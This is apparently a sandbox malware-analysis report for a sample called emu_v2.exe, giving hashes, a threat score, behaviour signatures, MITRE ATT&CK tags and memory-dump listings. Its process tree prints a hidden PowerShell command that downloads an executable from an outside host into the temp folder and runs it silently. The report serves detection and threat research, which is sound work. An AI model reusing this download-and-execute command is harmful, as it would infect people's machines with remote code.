233b2f880093ad9eea9642bc172c9af6a7a0a4221949fb2e43c73dd973f14a3d

Analysis

max time kernel
150s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 19:36

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General

Target
emu_v2.exe
Size 590KB
Sample260714-ybd7macv4l
SHA256 233b2f880093ad9eea9642bc172c9af6a7a0a4221949fb2e43c73dd973f14a3d
MD5 d0afc4d5f2fcc27222b14bad00e96800
SHA1 b4ac05424728b224ddee5f52b8d7e8fd51e735c1
SHA512 a639bd855dbf230204685b22c8ca604aa6761b6cfb4a1a10a3a37b1a63100f0ed953d122c0801bc2049d6e44b9b4863ff73214a7fd5ee4974f0e2edc477de276
SSDEEP 12288:3IhfpgOp0hGofkGnKrpJiLc9lFNR28v+VWH/2y:exShGSwpLDP4M+VWHuy
TLSH
T12CD45D26A7A400FDE177C1B8CA664913F67278460371AADF03D05AA32F176E45F7EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5944	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5944	powershell.exe
5944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5944	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 1272	1816	emu_v2.exe	89
PID 1272 wrote to memory of 1088	1272	cmd.exe	90
PID 1088 wrote to memory of 5944	1088	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\emu_v2.exe
"C:\Users\Admin\AppData\Local\Temp\emu_v2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK823664.exe; Start-Process -FilePath $env:TEMP\BK823664.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK823664.exe; Start-Process -FilePath $env:TEMP\BK823664.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK823664.exe; Start-Process -FilePath $env:TEMP\BK823664.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5944-0-0x00007FF90CBCF000-0x00007FF90CBD0000-memory.dmp

Download

memory/5944-4-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-3-0x000001F9326F0000-0x000001F932712000-memory.dmp

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memory/5944-5-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-6-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-7-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-8-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-9-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-10-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

Download

memory/5944-11-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-12-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-13-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-14-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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memory/5944-16-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

Download

memory/5944-17-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp

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